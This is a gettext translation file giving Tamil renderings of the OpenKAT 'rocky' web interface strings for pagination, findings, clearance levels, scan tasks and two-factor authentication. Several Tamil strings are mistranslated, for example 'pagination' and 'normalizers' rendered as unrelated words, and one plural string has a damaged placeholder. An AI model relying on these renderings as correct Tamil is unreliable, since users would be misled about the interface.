rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"வகை %(type)s பொருள்களை மட்டுமே காண்பி\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"வடிகட்டி விருப்பங்களை மறைக்கவும்\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"வடிகட்டி விருப்பங்களைக் காட்டு\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"பட்டியல் மண்பாண்டம்\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"முந்தைய பக்கம்\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"முந்தைய\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"ஐந்து பக்கங்கள் பின்னால்\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"பக்கம்\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"ஐந்து பக்கங்கள் முன்னோக்கி\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"அடுத்த பக்கம்\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"அடுத்தது\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"நீங்கள் தேர்ந்தெடுக்கப்பட்ட கண்டுபிடிப்புகளை முடக்குகிறீர்கள்.\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"காரணம்:\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"(UTC) காலாவதியாகிறது:\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"உறுதிப்படுத்தல்:\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"தொடர்புடைய எந்தப் பொருளும் அறியப்படவில்லை\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"அறிக்கையை உருவாக்குங்கள்\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"திருத்து %(display_type)s\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\"\\\"%(ooi)s\\\", பொருள் வகை \\\"%(type)s\\\" இன் கண்ணோட்டம். இது பொதுவான தகவல்களையும் \"\n\"அதனுடன் தொடர்புடைய பொருள்களையும் காட்டுகிறது. இது கூடுதல் தொடர்புடைய பொருள்களைச் \"\n\"சேர்ப்பதற்கான வாய்ப்பையும் வழங்குகிறது, அல்லது அவற்றுக்காக வருடு செய்யவும்.\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"பொருள்களுக்கு ச்கேன்\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"காபிம ஐ பதிவேற்றவும்\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"ஏற்றுமதி\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"காபிம ஆக பதிவிறக்கவும்\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"%(total)s கண்டுபிடிப்புகள் %(name)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"%(type)s %(name)s இல் %(observed_at)s:\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"கண்டுபிடிப்பு விவரங்களைத் திற\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"%(object_id)s விவரங்கள்\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\"இந்த கண்டுபிடிப்பு வகையின் தீவிரம் தரவு மூலத்தால் தீர்மானிக்கப்படவில்லை (இன்னும்). இந்த \"\n\"நிலைமைக்கு தீவிரம் குறித்த கையேடு வினவல் தேவை.\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"மொத்த நிகழ்வுகள்\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"மரம் - அடர்த்தியான பார்வை\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"மரம் - அட்டவணை பார்வை\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"புதுப்பிப்பு பட்டியல்\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"அமைப்பு பெயர்\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"நிறுவன குறியீடு\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"அமைப்பைத் தேர்ந்தெடுக்கவும்\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"அனைத்து அமைப்புகளும்\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"உள்நுழைந்தது:\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"of\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"முதல்\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"முந்தைய\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"அடுத்தது\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"கடைசி\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"பயனர் வழிசெலுத்தல்\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"பயனர் வழிசெலுத்தலை மூடு\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"எனது அமைப்புகள்\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"சுயவிவரம்\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"உள்ளடக்கத்திற்குச் செல்லுங்கள்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"வெற்று இசைவு நிலை விளக்கம்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"காலியாக:\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"இழப்பீடு எச்சரிக்கை\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"இந்த அமைப்புக்கு இழப்பீடு அமைக்கப்படவில்லை.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"செல்லுங்கள்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"அமைப்பு அமைப்புகள் பக்கம்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"ஒன்றைச் சேர்க்க.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"அனுமதி நிலை எச்சரிக்கை அமை\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\"இந்த OOI இன் இசைவு அளவை அமைக்க உங்களுக்கு இசைவு இல்லை. உங்கள் அதிகபட்ச இசைவு நிலை \"\n\"%(member_clearance_level)s மற்றும் இந்த OOI நிலை %(boefje_scan_level)s.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"உங்கள் செல்லவும்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"கணக்கு விவரங்கள்\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"உங்கள் இசைவு அளவை நிர்வகிக்க.\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"தற்போதைய இசைவு நிலை\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"போஃப்சே பணியின் கண்ணோட்டம், உள்ளீடு OOI மற்றும் அது உருவாக்கிய மூல தரவு.\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"மேவு மற்றும் மூல தரவுகளைப் பதிவிறக்கவும்\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"மேவு தரவைப் பதிவிறக்கவும்\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"உள்ளீட்டு பொருள்\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"போஃப்செசுக்கு பணிகள் எதுவும் இல்லை.\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"போஃப்செசுக்கான பணிகளின் பட்டியல்.\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"நிறுவன குறியீடு\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"உருவாக்கப்பட்ட தேதி\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"மாற்றியமைக்கப்பட்ட தேதி\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"இயல்பான மருந்துகளுக்குப் பணிகள் எதுவும் இல்லை.\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"இயல்பான மருந்துகளுக்கான பணிகளின் பட்டியல்.\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"போஃப்சே உள்ளீடு OOI\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"கைமுறையாக சேர்க்கப்பட்டது\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"பணிகள் எதுவும் இல்லை.\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"பணி புள்ளிவிவரங்கள் - கடைசி 24 மணி நேரம்\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"UTC இல் எல்லா நேரங்களும், 1 மணிநேர தொகுதிகள்.\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"டைம்ச்லாட்\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"புள்ளிவிவரங்களை ஏற்ற முடியவில்லை, திட்டமிடல் பிழை.\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"பணிகளின் பட்டியல்\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"விளைவித்த பொருள்கள்\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"மறுசீரமைப்பு\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"பணி தரவைப் பதிவிறக்கவும்\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\"<strong>%(organization)s </strong> க்கான பணிகளின் கண்ணோட்டம். பணிகள் போஃப்செச், \"\n\"இயல்பான மற்றும் அறிக்கைகளில் பிரிக்கப்பட்டுள்ளன. போஃப்செச் வருடு பொருள்கள் மற்றும் இயல்பான \"\n\"மருந்துகள் வெளியீடு MIME- வகைகளில் அனுப்புகின்றன. கூடுதலாக, ஒரு அறிக்கை பணிகள் உள்ளன. \"\n\"இந்த பணி போஃப்செச் மற்றும் நார்மல்ம்சர்கள் இரண்டிலிருந்தும் கண்டுபிடிப்புகளை ஒருங்கிணைக்கிறது.\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"எந்த பணிகளும் இல்லை\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"பணிகளின் பட்டியல்\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"அறிக்கைகளுக்குப் பணிகள் எதுவும் இல்லை.\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"அறிக்கைகளுக்கான பணிகளின் பட்டியல்.\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"செய்முறை அடையாளம்\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"புகுபதிகை\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"அங்கீகரிக்கவும்\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"காப்புப்பிரதி டோக்கன்கள்\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\"உங்கள் முதன்மை மற்றும் காப்பு தொலைபேசி எண்கள் கிடைக்காதபோது காப்புப்பிரதி டோக்கன்களைப் \"\n\"பயன்படுத்தலாம். கீழே உள்ள காப்புப்பிரதி டோக்கன்களை உள்நுழைவு சரிபார்ப்புக்கு பயன்படுத்தலாம். \"\n\"உங்கள் காப்புப்பிரதி டோக்கன்களை நீங்கள் பயன்படுத்தினால், நீங்கள் ஒரு புதிய காப்புப்பிரதி \"\n\"டோக்கன்களை உருவாக்கலாம். கீழே காட்டப்பட்டுள்ள காப்பு டோக்கன்கள் மட்டுமே செல்லுபடியாகும்.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"இந்த டோக்கன்களை அச்சிட்டு அவற்றை எங்காவது பாதுகாப்பாக வைத்திருங்கள்.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"உங்களிடம் இன்னும் காப்புப்பிரதி குறியீடுகள் இல்லை.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"டோக்கன்களை உருவாக்குங்கள்\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"கணக்கு பாதுகாப்புக்குத் திரும்பு\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"நீங்கள் உள்நுழைந்துள்ளீர்கள்.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"உங்கள் கணக்கிற்கு இரண்டு காரணி ஏற்பு இயக்கப்பட்டது.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"உங்கள் கணக்கிற்கு இரண்டு காரணி ஏற்பு இயக்கப்படவில்லை. தொடர அதை இயக்கவும்.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"இரண்டு காரணி அங்கீகாரத்தை அமைக்கவும்\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"நற்சான்றிதழ்கள்\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\"உள்நுழைவதற்கு காப்புப்பிரதி டோக்கன்களை உள்ளிட இந்த படிவத்தைப் பயன்படுத்தவும். நீங்கள் \"\n\"அச்சிட்டு பாதுகாப்பாக வைத்திருக்க இந்த டோக்கன்கள் உருவாக்கப்பட்டுள்ளன. உங்கள் கணக்கில் \"\n\"உள்நுழைய இந்த காப்பு டோக்கன்களில் ஒன்றை உள்ளிடவும்.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"கடைசி முயற்சியாக, நீங்கள் காப்புப்பிரதி கிள்ளாக்கைப் பயன்படுத்தலாம்:\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"காப்பு கிள்ளாக்கைப் பயன்படுத்துங்கள்\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"இசைவு மறுக்கப்பட்டது\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\"நீங்கள் கோரிய பக்கம், பாதுகாப்பு காரணங்களுக்காக இரண்டு காரணி அங்கீகாரத்தைப் பயன்படுத்தி \"\n\"சரிபார்க்க பயனர்களை செயல்படுத்துகிறது. இந்த பக்கத்தை அணுக இந்த பாதுகாப்பு அம்சங்களை நீங்கள் \"\n\"இயக்க வேண்டும்.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\"உங்கள் கணக்கிற்கு இரண்டு காரணி ஏற்பு இயக்கப்படவில்லை. மேம்பட்ட கணக்கு பாதுகாப்புக்கு இரண்டு \"\n\"காரணி அங்கீகாரத்தை இயக்கவும்.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"இரண்டு காரணி அங்கீகாரத்தை இயக்கவும்\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"காப்பு தொலைபேசியைச் சேர்க்கவும்\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\"உங்கள் கணக்கில் காப்பு தொலைபேசி எண்ணைச் சேர்ப்பீர்கள். உங்கள் முதன்மை பதிவு முறை \"\n\"கிடைக்கவில்லை என்றால் இந்த எண் பயன்படுத்தப்படும்.\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\"உங்கள் தொலைபேசி எண்ணுக்கு ஒரு கிள்ளாக்கை அனுப்பியுள்ளோம். நீங்கள் பெற்ற கிள்ளாக்கை உள்ளிடவும்.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\"கிள்ளாக்கு செனரேட்டரைப் பயன்படுத்தத் தொடங்க, கீழே உள்ள QR குறியீட்டை ச்கேன் செய்ய உங்கள் \"\n\"ச்மார்ட்போனைப் பயன்படுத்தவும் அல்லது அமைவு விசையைப் பயன்படுத்தவும். எடுத்துக்காட்டாக, \"\n\"googleauthenticator ஐப் பயன்படுத்தவும். பின்னர், பயன்பாட்டால் உருவாக்கப்பட்ட கிள்ளாக்கை \"\n\"உள்ளிடவும்.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"QR குறியீடு\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"அமைவு விசை\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\"ரகசிய விசை QR குறியீட்டின் 32 எழுத்துக்கள் பிரதிநிதித்துவம் ஆகும். இரண்டு காரணி \"\n\"அங்கீகாரத்தை அமைக்க 2 விருப்பங்கள் உள்ளன. மேலே உள்ள QR குறியீட்டை நீங்கள் ச்கேன் செய்யலாம் \"\n\"அல்லது அங்கீகார பயன்பாட்டின் ரகசிய விசை விருப்பத்தைப் பயன்படுத்தி இந்த விசையை செருகலாம்.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"வாழ்த்துக்கள், நீங்கள் இரண்டு காரணி அங்கீகாரத்தை வெற்றிகரமாக இயக்கியுள்ளீர்கள்.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"OpenKat ஐப் பயன்படுத்தத் தொடங்குங்கள்\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\"இருப்பினும், உங்கள் முதன்மை கிள்ளாக்கு சாதனத்திற்கான அணுகல் உங்களிடம் இல்லை என்பது \"\n\"நிகழக்கூடும். கணக்கு மீட்டெடுப்பை இயக்க, தொலைபேசி எண்ணைச் சேர்க்கவும்.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"தொலைபேசி எண்ணைச் சேர்க்கவும்\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"இரண்டு காரணி அங்கீகாரத்தை முடக்கு\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\"நீங்கள் இரண்டு காரணி அங்கீகாரத்தை முடக்க உள்ளீர்கள். இது உங்கள் கணக்கு பாதுகாப்பை \"\n\"பலவீனப்படுத்துகிறது, உறுதியாக இருக்கிறீர்களா?\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"கணக்கு பாதுகாப்பு\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"டோக்கன்கள் உங்கள் கிள்ளாக்கு செனரேட்டரால் உருவாக்கப்படும்.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"முதன்மை முறை: %(primary)s\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"டோக்கன்கள் உங்கள் யூபிகியால் உருவாக்கப்படும்.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"தொலைபேசி எண்களை காப்புப் பிரதி எடுக்கவும்\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\"உங்கள் முதன்மை முறை கிடைக்கவில்லை என்றால், கீழே பட்டியலிடப்பட்டுள்ள தொலைபேசி எண்களுக்கு \"\n\"காப்புப்பிரதி டோக்கன்களை அனுப்ப முடியும்.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"பதிவு செய்யப்படாதது\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\"உங்களிடம் எந்த சாதனமும் இல்லையென்றால், காப்புப்பிரதி டோக்கன்களைப் பயன்படுத்தி உங்கள் கணக்கை \"\n\"அணுகலாம்.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"உங்களிடம் ஒரே ஒரு காப்புப்பிரதி கிள்ளாக்கு உள்ளது.\"\nmsgstr[1] \"உங்களிடம் %(counter)sாப்புப்பிரதி டோக்கன்கள் உள்ளன.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"குறியீடுகளைக் காட்டு\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"இரண்டு காரணி அங்கீகாரத்தை முடக்கு\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\"இருப்பினும் அவ்வாறு செய்ய நாங்கள் உங்களை கடுமையாக ஊக்கப்படுத்தினோம், உங்கள் கணக்கிற்கான \"\n\"இரண்டு காரணி அங்கீகாரத்தையும் முடக்கலாம்.\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"உங்கள் OTP கிள்ளாக்கு %(token)s\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"காபிம கோப்பைப் பதிவேற்றுவதன் மூலம் பல பொருள்களை உருவாக்குவதை தானியக்கமாக்குங்கள்.\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"சி.எச்.வி பதிவேற்றத்திற்கான அளவுகோல்கள் இவை:\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"மூல கோப்பைப் பதிவேற்றுவதன் மூலம் பல பொருள்களை உருவாக்குவதை தானியக்கமாக்குங்கள்.\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI 